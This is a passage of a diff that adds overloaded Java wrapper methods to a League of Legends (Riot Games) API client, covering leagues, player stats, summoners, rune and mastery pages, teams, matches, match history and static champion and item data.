+        return LeagueMethod.getLeagueEntryByTeams(region.getEndpoint(), region.getName(), getKey(), teamIds);
+    }
+
+    /**
+     * 
+     * @param teamIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueEntryByTeams(String teamIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueEntryByTeams(getEndpoint(), getRegion(), getKey(), teamIds);
+    }
+
+    /**
+     * 
+     * @param region
+     * @throws RiotApiException
+     */
+    public League getChallengerLeagues(Region region) throws RiotApiException {
+
+        return LeagueMethod.getChallengerLeagues(region.getEndpoint(), region.getName(), getKey());
+    }
+
+    /**
+     * 
+     * @throws RiotApiException
+     */
+    public League getChallengerLeagues() throws RiotApiException {
+
+        return LeagueMethod.getChallengerLeagues(getEndpoint(), getRegion(), getKey());
+    }
+
+    /**
+     * 
+     * @param region
+     * @param queueType
+     * @throws RiotApiException
+     */
+    public League getChallengerLeagues(Region region, QueueType queueType) throws RiotApiException {
+
+        return LeagueMethod.getChallengerLeagues(region.getEndpoint(), region.getName(), getKey(), queueType);
+    }
+
+    /**
+     * 
+     * @param queueType
+     * @throws RiotApiException
+     * @return League
+     */
+    public League getChallengerLeagues(QueueType queueType) throws RiotApiException {
+
+        return LeagueMethod.getChallengerLeagues(getEndpoint(), getRegion(), getKey(), queueType);
+    }
+
+    /**
+     * Get a summary of player statistics for a given summoner
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @param season The desired season
+     * @return A summary of player statistics for the given summoner
+     * @see PlayerStatsSummaryList
+     * @throws RiotApiException
+     */
+    public PlayerStatsSummaryList getPlayerStatsSummary(Region region, Season season, long summonerId) throws RiotApiException {
+
+        return StatsMethod.getPlayerStatsSummary(region.getEndpoint(), region.getName(), season.getName(), getKey(), summonerId);
+    }
+
+    /**
+     * Get a summary of player statistics for a given summoner
+     *
+     * @param summonerId The ID of the desired summoner
+     * @param season The desired season
+     * @return A summary of player statistics for the given summoner
+     * @see PlayerStatsSummaryList
+     * @throws RiotApiException
+     */
+    public PlayerStatsSummaryList getPlayerStatsSummary(Season season, long summonerId) throws RiotApiException {
+
+        return StatsMethod.getPlayerStatsSummary(getEndpoint(), getRegion(), season.getName(), getKey(), summonerId);
+    }
+
+    /**
+     * Get a summary of player statistics for a given summoner
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @return A summary of player statistics for the given summoner
+     * @see PlayerStatsSummaryList
+     * @throws RiotApiException
+     */
+    public PlayerStatsSummaryList getPlayerStatsSummary(Region region, long summonerId) throws RiotApiException {
+
+        return StatsMethod.getPlayerStatsSummary(region.getEndpoint(), region.getName(), getSeason(), getKey(), summonerId);
+    }
+
+    /**
+     * Get a summary of player statistics for a given summoner
+     *
+     * @param summonerId The ID of the desired summoner
+     * @return A summary of player statistics for the given summoner
+     * @see PlayerStatsSummaryList
+     * @throws RiotApiException
+     */
+    public PlayerStatsSummaryList getPlayerStatsSummary(long summonerId) throws RiotApiException {
+
+        return StatsMethod.getPlayerStatsSummary(getEndpoint(), getRegion(), getSeason(), getKey(), summonerId);
+    }
+
+    /**
+     * Get the ranked statistics of a given summoner
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @param season The desired season
+     * @return Ranked statistics of the given summoner
+     * @see RankedStats
+     * @throws RiotApiException
+     */
+    public RankedStats getRankedStats(Region region, Season season, long summonerId) throws RiotApiException {
+
+        return StatsMethod.getRankedStats(region.getEndpoint(), region.getName(), season.getName(), getKey(), summonerId);
+    }
+
+    /**
+     * Get the ranked statistics of a given summoner
+     *
+     * @param summonerId The ID of the desired summoner
+     * @param season The desired season
+     * @return Ranked statistics of the given summoner
+     * @see RankedStats
+     * @throws RiotApiException
+     */
+    public RankedStats getRankedStats(Season season, long summonerId) throws RiotApiException {
+
+        return StatsMethod.getRankedStats(getEndpoint(), getRegion(), season.getName(), getKey(), summonerId);
+    }
+
+    /**
+     * Get the ranked statistics of a given summoner
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @return Ranked statistics of the given summoner
+     * @see RankedStats
+     * @throws RiotApiException
+     */
+    public RankedStats getRankedStats(Region region, long summonerId) throws RiotApiException {
+
+        return StatsMethod.getRankedStats(region.getEndpoint(), region.getName(), getSeason(), getKey(), summonerId);
+    }
+
+    /**
+     * Get the ranked statistics of a given summoner
+     *
+     * @param summonerId The ID of the desired summoner
+     * @return Ranked statistics of the given summoner
+     * @see RankedStats
+     * @throws RiotApiException
+     */
+    public RankedStats getRankedStats(long summonerId) throws RiotApiException {
+
+        return StatsMethod.getRankedStats(getEndpoint(), getRegion(), getSeason(), getKey(), summonerId);
+    }
+
+    /**
+     * Get the mastery pages of a given summoner
+     *
+     * @param region The desired region
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of mastery pages of the given summoners
+     * @see MasteryPages
+     * @throws RiotApiException
+     */
+    public Map<String, MasteryPages> getMasteryPages(Region region, String summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getMasteryPages(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get the mastery pages of a given summoner
+     *
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of mastery pages of the given summoners
+     * @see MasteryPages
+     * @throws RiotApiException
+     */
+    public Map<String, MasteryPages> getMasteryPages(String summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getMasteryPages(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get the mastery pages of a given summoner
+     *
+     * @param region The desired region
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of mastery pages of the given summoners
+     * @see MasteryPages
+     * @throws RiotApiException
+     */
+    public Map<String, MasteryPages> getMasteryPages(Region region, long... summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getMasteryPages(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get the mastery pages of a given summoner
+     *
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of mastery pages of the given summoners
+     * @see MasteryPages
+     * @throws RiotApiException
+     */
+    public Map<String, MasteryPages> getMasteryPages(long... summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getMasteryPages(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get the rune pages of a given summoner
+     *
+     * @param region The desired region
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of rune pages of the given summoners
+     * @see RunePages
+     * @throws RiotApiException
+     */
+    public Map<String, RunePages> getRunePages(Region region, String summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getRunePages(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get the rune pages of a given summoner
+     *
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of rune pages of the given summoners
+     * @see RunePages
+     * @throws RiotApiException
+     */
+    public Map<String, RunePages> getRunePages(String summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getRunePages(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get the rune pages of a given summoner
+     *
+     * @param region The desired region
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of rune pages of the given summoners
+     * @see RunePages
+     * @throws RiotApiException
+     */
+    public Map<String, RunePages> getRunePages(Region region, long... summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getRunePages(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get the rune pages of a given summoner
+     *
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of rune pages of the given summoners
+     * @see RunePages
+     * @throws RiotApiException
+     */
+    public Map<String, RunePages> getRunePages(long... summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getRunePages(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param region The desired region
+     * @param summonerNames The names of the desired summoners
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonersByName(Region region, String summonerNames) throws RiotApiException {
+
+        return SummonerMethod.getSummonersByName(region.getEndpoint(), region.getName(), getKey(), summonerNames);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param summonerNames The names of the desired summoners
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonersByName(String summonerNames) throws RiotApiException {
+
+        return SummonerMethod.getSummonersByName(getEndpoint(), getRegion(), getKey(), summonerNames);
+    }
+
+    /**
+     * Get summoner by name
+     *
+     * @param region The desired region
+     * @param summonerName The name of the desired summoner
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonerByName(Region region, String summonerName) throws RiotApiException {
+
+        return SummonerMethod.getSummonersByName(region.getEndpoint(), region.getName(), getKey(), summonerName);
+    }
+
+    /**
+     * Get summoner by name
+     *
+     * @param summonerName The name of the desired summoner
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonerByName(String summonerName) throws RiotApiException {
+
+        return SummonerMethod.getSummonersByName(getEndpoint(), getRegion(), getKey(), summonerName);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param region The desired region
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonersById(Region region, long... summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getSummonersById(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonersById(long... summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getSummonersById(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param region The desired region
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonersById(Region region, String summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getSummonersById(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonersById(String summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getSummonersById(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonerById(Region region, long summonerId) throws RiotApiException {
+
+        return SummonerMethod.getSummonersById(region.getEndpoint(), region.getName(), getKey(), summonerId);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param summonerId The IDs of the desired summoners
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonerById(long summonerId) throws RiotApiException {
+
+        return SummonerMethod.getSummonersById(getEndpoint(), getRegion(), getKey(), summonerId);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param region The desired region
+     * @param summonerId The IDs of the desired summoners
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonerById(Region region, String summonerId) throws RiotApiException {
+
+        return SummonerMethod.getSummonersById(region.getEndpoint(), region.getName(), getKey(), summonerId);
+    }
+
+    /**
+     * Get summoners by names
+     *
+     * @param summonerId The IDs of the desired summoners
+     * @return A map of desired summoners
+     * @see Summoner
+     * @throws RiotApiException
+     */
+    public Map<String, Summoner> getSummonerById(String summonerId) throws RiotApiException {
+
+        return SummonerMethod.getSummonersById(getEndpoint(), getRegion(), getKey(), summonerId);
+    }
+
+    /**
+     * Get summoner names by IDs
+     *
+     * @param region The desired region
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of desired summoner names
+     * @throws RiotApiException
+     */
+    public Map<String, String> getSummonerNames(Region region, long... summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getSummonerNames(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get summoner names by IDs
+     *
+     * @param summonerIds The IDs of the desired summoners
+     * @return A map of desired summoner names
+     * @throws RiotApiException
+     */
+    public Map<String, String> getSummonerNames(long... summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getSummonerNames(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get summoner names by IDs
+     *
+     * @param region The desired region
+     * @param summonerIds A comma separated list of IDs of the desired summoners
+     * @return A map of desired summoner names
+     * @throws RiotApiException
+     */
+    public Map<String, String> getSummonerNames(Region region, String summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getSummonerNames(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get summoner names by IDs
+     *
+     * @param summonerIds A comma separated list of IDs of the desired summoners
+     * @return A map of desired summoner names
+     * @throws RiotApiException
+     */
+    public Map<String, String> getSummonerNames(String summonerIds) throws RiotApiException {
+
+        return SummonerMethod.getSummonerNames(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get summoner names by IDs
+     *
+     * @param region The desired region
+     * @param summonerId The IDs of the desired summoner
+     * @return A map of desired summoner names
+     * @throws RiotApiException
+     */
+    public Map<String, String> getSummonerName(Region region, long summonerId) throws RiotApiException {
+
+        return SummonerMethod.getSummonerNames(region.getEndpoint(), region.getName(), getKey(), summonerId);
+    }
+
+    /**
+     * Get summoner names by IDs
+     *
+     * @param summonerId The IDs of the desired summoner
+     * @return A map of desired summoner names
+     * @throws RiotApiException
+     */
+    public Map<String, String> getSummonerName(long summonerId) throws RiotApiException {
+
+        return SummonerMethod.getSummonerNames(getEndpoint(), getRegion(), getKey(), summonerId);
+    }
+
+    /**
+     * Get summoner names by IDs
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @return A map of desired summoner names
+     * @throws RiotApiException
+     */
+    public Map<String, String> getSummonerName(Region region, String summonerId) throws RiotApiException {
+
+        return SummonerMethod.getSummonerNames(region.getEndpoint(), region.getName(), getKey(), summonerId);
+    }
+
+    /**
+     * Get summoner names by IDs
+     *
+     * @param summonerId The ID of the desired summoner
+     * @return A map of desired summoner names
+     * @throws RiotApiException
+     */
+    public Map<String, String> getSummonerName(String summonerId) throws RiotApiException {
+
+        return SummonerMethod.getSummonerNames(getEndpoint(), getRegion(), getKey(), summonerId);
+    }
+
+    /**
+     * Get teams by summonerIDs
+     *
+     * @param region The desired region
+     * @param summonerIds A list of summoner IDs
+     * @return A map of the summoners' teams
+     * @see Team
+     * @throws RiotApiException
+     */
+    public Map<String, List<Team>> getTeamsBySummonerIds(Region region, long... summonerIds) throws RiotApiException {
+
+        return TeamMethod.getTeamsBySummonerIds(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get teams by summonerIDs
+     *
+     * @param summonerIds A list of summoner IDs
+     * @return A map of the summoners' teams
+     * @see Team
+     * @throws RiotApiException
+     */
+    public Map<String, List<Team>> getTeamsBySummonerIds(long... summonerIds) throws RiotApiException {
+
+        return TeamMethod.getTeamsBySummonerIds(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get teams by summonerIDs
+     *
+     * @param region The desired region
+     * @param summonerIds Comma-separated list of summoner IDs
+     * @return A map of the summoners' teams
+     * @see Team
+     * @throws RiotApiException
+     */
+    public Map<String, List<Team>> getTeamsBySummonerIds(Region region, String summonerIds) throws RiotApiException {
+
+        return TeamMethod.getTeamsBySummonerIds(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get teams by summonerIDs
+     *
+     * @param summonerIds Comma-separated list of summoner IDs
+     * @return A map of the summoners' teams
+     * @see Team
+     * @throws RiotApiException
+     */
+    public Map<String, List<Team>> getTeamsBySummonerIds(String summonerIds) throws RiotApiException {
+
+        return TeamMethod.getTeamsBySummonerIds(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * Get match by ID
+     *
+     * @param region The desired region
+     * @param matchId The ID of the match
+     * @return A map with match details
+     * @see MatchDetail
+     * @throws RiotApiException
+     */
+    public MatchDetail getMatch(Region region, long matchId) throws RiotApiException {
+
+        return MatchMethod.getMatch(region.getEndpoint(), region.getName(), getKey(), matchId);
+    }
+
+    /**
+     * Get match by ID
+     *
+     * @param matchId The ID of the match
+     * @return A map with match details
+     * @see MatchDetail
+     * @throws RiotApiException
+     */
+    public MatchDetail getMatch(long matchId) throws RiotApiException {
+
+        return MatchMethod.getMatch(getEndpoint(), getRegion(), getKey(), matchId);
+    }
+
+    /**
+     * Get match by ID
+     *
+     * @param region The desired region
+     * @param matchId The ID of the match
+     * @param includeTimeline Flag indicating whether or not to include match timeline data
+     * @return A map with match details
+     * @see MatchDetail
+     * @throws RiotApiException
+     */
+    public MatchDetail getMatch(Region region, long matchId, boolean includeTimeline) throws RiotApiException {
+
+        return MatchMethod.getMatch(region.getEndpoint(), region.getName(), getKey(), matchId, includeTimeline);
+    }
+
+    /**
+     * Get match by ID
+     *
+     * @param matchId The ID of the match
+     * @param includeTimeline Flag indicating whether or not to include match timeline data
+     * @return A map with match details
+     * @see MatchDetail
+     * @throws RiotApiException
+     */
+    public MatchDetail getMatch(long matchId, boolean includeTimeline) throws RiotApiException {
+
+        return MatchMethod.getMatch(getEndpoint(), getRegion(), getKey(), matchId, includeTimeline);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @param championIds Comma-separated list of champion IDs to use for fetching games.
+     * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+     * @param beginIndex The begin index to use for fetching games
+     * @param endIndex The end index to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(Region region, long summonerId, String championIds, String rankedQueues, int beginIndex, int endIndex) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(region.getEndpoint(), region.getName(), getKey(), summonerId, championIds, rankedQueues, beginIndex, endIndex);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @param championIds Comma-separated list of champion IDs to use for fetching games.
+     * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+     * @param beginIndex The begin index to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(Region region, long summonerId, String championIds, String rankedQueues, int beginIndex) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(region.getEndpoint(), region.getName(), getKey(), summonerId, championIds, rankedQueues, beginIndex, -1);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @param championIds Comma-separated list of champion IDs to use for fetching games.
+     * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(Region region, long summonerId, String championIds, String rankedQueues) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(region.getEndpoint(), region.getName(), getKey(), summonerId, championIds, rankedQueues, -1, -1);
+    }
+    
+    /**
+     * Get match history by summonerID
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+     * @param beginIndex The begin index to use for fetching games
+     * @param endIndex The end index to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+   public PlayerHistory getMatchHistory(Region region, long summonerId, String rankedQueues, int beginIndex, int endIndex) throws RiotApiException {
+
+       return MatchHistoryMethod.getMatchHistory(region.getEndpoint(), region.getName(), getKey(), summonerId, null, rankedQueues, beginIndex, endIndex);
+   }
+   
+   /**
+    * Get match history by summonerID
+    *
+    * @param region The desired region
+    * @param summonerId The ID of the desired summoner
+    * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+    * @param beginIndex The begin index to use for fetching games
+    * @return A list with matches
+    * @see PlayerHistory
+    * @throws RiotApiException
+    */
+  public PlayerHistory getMatchHistory(Region region, long summonerId, String rankedQueues, int beginIndex) throws RiotApiException {
+
+      return MatchHistoryMethod.getMatchHistory(region.getEndpoint(), region.getName(), getKey(), summonerId, null, rankedQueues, beginIndex, -1);
+  }
+
+   /**
+    * Get match history by summonerID
+    *
+    * @param region The desired region
+    * @param summonerId The ID of the desired summoner
+    * @param beginIndex The begin index to use for fetching games
+    * @param endIndex The end index to use for fetching games
+    * @return A list with matches
+    * @see PlayerHistory
+    * @throws RiotApiException
+    */
+   public PlayerHistory getMatchHistory(Region region, long summonerId, int beginIndex, int endIndex) throws RiotApiException {
+
+       return MatchHistoryMethod.getMatchHistory(region.getEndpoint(), region.getName(), getKey(), summonerId, null, null, beginIndex, endIndex);
+   }
+
+   /**
+    * Get match history by summonerID
+    *
+    * @param region The desired region
+    * @param summonerId The ID of the desired summoner
+    * @param beginIndex The begin index to use for fetching games
+    * @return A list with matches
+    * @see PlayerHistory
+    * @throws RiotApiException
+    */
+   public PlayerHistory getMatchHistory(Region region, long summonerId, int beginIndex) throws RiotApiException {
+
+       return MatchHistoryMethod.getMatchHistory(region.getEndpoint(), region.getName(), getKey(), summonerId, null, null, beginIndex, -1);
+   }
+
+   /**
+    * Get match history by summonerID
+    *
+    * @param region The desired region
+    * @param summonerId The ID of the desired summoner
+    * @return A list with matches
+    * @see PlayerHistory
+    * @throws RiotApiException
+    */
+    public PlayerHistory getMatchHistory(Region region, long summonerId) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(region.getEndpoint(), region.getName(), getKey(), summonerId, null, null, -1, -1);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param summonerId The ID of the desired summoner
+     * @param championIds Comma-separated list of champion IDs to use for fetching games.
+     * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+     * @param beginIndex The begin index to use for fetching games
+     * @param endIndex The end index to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(long summonerId, String championIds, String rankedQueues, int beginIndex, int endIndex) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(getEndpoint(), getRegion(), getKey(), summonerId, championIds, rankedQueues, beginIndex, endIndex);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param summonerId The ID of the desired summoner
+     * @param championIds Comma-separated list of champion IDs to use for fetching games.
+     * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+     * @param beginIndex The begin index to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(long summonerId, String championIds, String rankedQueues, int beginIndex) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(getEndpoint(), getRegion(), getKey(), summonerId, championIds, rankedQueues, beginIndex, -1);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param summonerId The ID of the desired summoner
+     * @param championIds Comma-separated list of champion IDs to use for fetching games.
+     * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(long summonerId, String championIds, String rankedQueues) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(getEndpoint(), getRegion(), getKey(), summonerId, championIds, rankedQueues, -1, -1);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param summonerId The ID of the desired summoner
+     * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+     * @param beginIndex The begin index to use for fetching games
+     * @param endIndex The end index to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(long summonerId, String rankedQueues, int beginIndex, int endIndex) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(getEndpoint(), getRegion(), getKey(), summonerId, null, rankedQueues, beginIndex, endIndex);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param summonerId The ID of the desired summoner
+     * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+     * @param beginIndex The begin index to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(long summonerId, String rankedQueues, int beginIndex) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(getEndpoint(), getRegion(), getKey(), summonerId, null, rankedQueues, beginIndex, -1);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param summonerId The ID of the desired summoner
+     * @param beginIndex The begin index to use for fetching games
+     * @param endIndex The end index to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(long summonerId, int beginIndex, int endIndex) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(getEndpoint(), getRegion(), getKey(), summonerId, null, null, beginIndex, endIndex);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param summonerId The ID of the desired summoner
+     * @param beginIndex The begin index to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(long summonerId, int beginIndex) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(getEndpoint(), getRegion(), getKey(), summonerId, null, null, beginIndex, -1);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param summonerId The ID of the desired summoner
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(long summonerId) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(getEndpoint(), getRegion(), getKey(), summonerId, null, null, -1, -1);
+    }
+
+    /**
+     *
+     */
+    public ChampionList getDataChampionList(Region region, String locale, String version, boolean dataById, ChampData champData) throws RiotApiException {
+
+        return StaticDataMethod.getDataChampionList(region.getName(), getKey(), locale, version, dataById, champData);
+    }
+
+    /**
+     *
+     */
+    public ChampionList getDataChampionList(String locale, String version, boolean dataById, ChampData champData) throws RiotApiException {
+
+        return StaticDataMethod.getDataChampionList(getRegion(), getKey(), locale, version, dataById, champData);
+    }
+
+    /**
+     *
+     */
+    public ChampionList getDataChampionList(Region region) throws RiotApiException {
+
+        return StaticDataMethod.getDataChampionList(region.getName(), getKey(), null, null, false, null);
+    }
+
+    /**
+     *
+     */
+    public ChampionList getDataChampionList() throws RiotApiException {
+
+        return StaticDataMethod.getDataChampionList(getRegion(), getKey(), null, null, false, null);
+    }
+
+    /**
+     *
+     */
+    public dto.Static.Champion getDataChampion(Region region, int id, String locale, String version, boolean dataById, ChampData champData) throws RiotApiException {
+
+        return StaticDataMethod.getDataChampion(region.getName(), getKey(), id, locale, version, dataById, champData);
+    }
+
+    /**
+     *
+     */
+    public dto.Static.Champion getDataChampion(int id, String locale, String version, boolean dataById, ChampData champData) throws RiotApiException {
+
+        return StaticDataMethod.getDataChampion(getRegion(), getKey(), id, locale, version, dataById, champData);
+    }
+
+    /**
+     *
+     */
+    public dto.Static.Champion getDataChampion(Region region, int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataChampion(region.getName(), getKey(), id, null, null, false, null);
+    }
+
+    /**
+     *
+     */
+    public dto.Static.Champion getDataChampion(int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataChampion(getRegion(), getKey(), id, null, null, false, null);
+    }
+
+    /**
+     *
+     */
+    public ItemList getDataItemList(Region region, String locale, String version, ItemListData itemListData) throws RiotApiException {
+
+        return StaticDataMethod.getDataItemList(region.getName(), getKey(), locale, version, itemListData);
+    }
+
+    /**
+     *
+     */
+    public ItemList getDataItemList(String locale, String version, ItemListData itemListData) throws RiotApiException {
+
+        return StaticDataMethod.getDataItemList(getRegion(), getKey(), locale, version, itemListData);
+    }
+
+    /**
+     *
+     */
+    public ItemList getDataItemList(Region region) throws RiotApiException {
+
+        return StaticDataMethod.getDataItemList(region.getName(), getKey(), null, null, null);
+    }
+
+    /**
+     *
+     */
+    public ItemList getDataItemList() throws RiotApiException {
+
+        return StaticDataMethod.getDataItemList(getRegion(), getKey(), null, null, null);
+    }
+
+    /**
+     *
+     */
+    public Item getDataItem(Region region, int id, String locale, String version, ItemData itemData) throws RiotApiException {
+
+        return StaticDataMethod.getDataItem(region.getName(), getKey(), id, locale, version, itemData);
+    }
+
+    /**
+     *
+     */
+    public Item getDataItem(int id, String locale, String version, ItemData itemData) throws RiotApiException {
+
+        return StaticDataMethod.getDataItem(getRegion(), getKey(), id, locale, version, itemData);
+    }
+
+    /**
+     *
+     */
+    public Item getDataItem(Region region, int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataItem(region.getName(), getKey(), id, null, null, null);
+    }
+
+    /**
+     *
+     */
+    public Item getDataItem(int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataItem(getRegion(), getKey(), id, null, null, null);
+    }
+
+    /**
+     *
+     */
+    public Realm getDataRealm(Region region) throws RiotApiException {
+
+        return StaticDataMethod.getDataRealm(region.getName(), getKey());
+    }
+
+    /**
+     *
+     */
+    public Realm getDataRealm() throws RiotApiException {
+
+        return StaticDataMethod.getDataRealm(getRegion(), getKey());
+    }
+
+    /**
